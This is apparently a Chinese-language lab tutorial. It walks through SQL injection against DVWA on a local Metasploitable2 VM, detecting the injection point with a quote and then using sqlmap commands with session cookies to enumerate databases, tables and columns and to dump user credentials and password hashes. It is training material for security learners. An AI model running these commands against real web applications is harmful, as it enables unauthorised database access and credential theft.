实验环境搭建。启动Metasploitable2虚拟机。
1.输入账号密码【msfadmin】,输入【ip a】查询ip
2.打开浏览器,输入该ip,进入DVWA
输入账号密码:admin,password。账号密码使用nmap穷举,见我的另一篇博客http://t.csdn.cn/CyHBX
3.注入点发现。首先肯定是要判断是否有注入漏洞。
在输入框输入1,返回
ID: 1
First name: admin
Surname: admin
返回正常;
再次输入1',报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
此时可以断定有SQL注入漏洞,提交User ID为22(地址栏出现id=22,这就是MySQL的注入点)
获得注入点:http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap进行注入攻击。首先要将DVWA安全级别设置为最低
4.获取cookie值,security=low; PHPSESSID:"d98f305711aa718acfa4c95c71fefd7e"
【F12】
实战1:枚举登录MYSQL数据的用户名与密码
sqlmap语法参数:
- -u :指定目标URL,即注入点
- --cookies:当前会话的cookies值
- -b:获取数据库类型,检索数据库管理系统标识
- --current-db:获取当前数据库
- --current-user:获取当前登录数据库使用的用户
输入【sqlmap -u"http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=356e26c24f2a64655c4bef4d598ddc76' -b --current-db --current-user】然后根据提示回复Y,红色部分为注入点的URL,蓝色部分为自己的cookie值,然后就等吧,这是一个等待的过程,我等了好久才出现的!
结果:得到当前数据库为dvwa,使用的用户为root@%
实战2:枚举所有数据库
sqlmap语法参数:
- --users:枚举数据库用户名
- -password:枚举数据库用户的密码(hash)
输入【sqlmap -u "http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=356e26c24f2a64655c4bef4d598ddc76" --string="Surname" --users --password】
实战3:枚举数据库
sqlmap语法参数:
- --dbs:枚举当前数据库
输入【sqlmap -u "http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=356e26c24f2a64655c4bef4d598ddc76" --string="Surname" --dbs】
结果:mysql下所有的数据库
实战4:枚举指定数据库的数据表
-D 数据库名:指定数据库
--tables:枚举指定数据库的所有表
输入【sqlmap -u "http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=356e26c24f2a64655c4bef4d598ddc76" --string="Surname" -D dvwa --tables】
结果:dvwa库中,所有的表
实战5:获取指定数据库和表中所有列的信息
-D:指定的数据库
-T:指定数据库中的数据表
--columns:获取列的信息
输入【sqlmap -u "http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=356e26c24f2a64655c4bef4d598ddc76" --string="Surname" -D dvwa -T users --columns】
实战6:枚举指定数据表中的所有用户名与密码,并down到本地
-C:枚举数据表中的列
--dump:存储数据表项
输入【sqlmap -u "http://192.168.113.130/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie "security=low;PHPSESSID=356e26c24f2a64655c4bef4d598ddc76" -D dvwa -T users -C user,password --dump】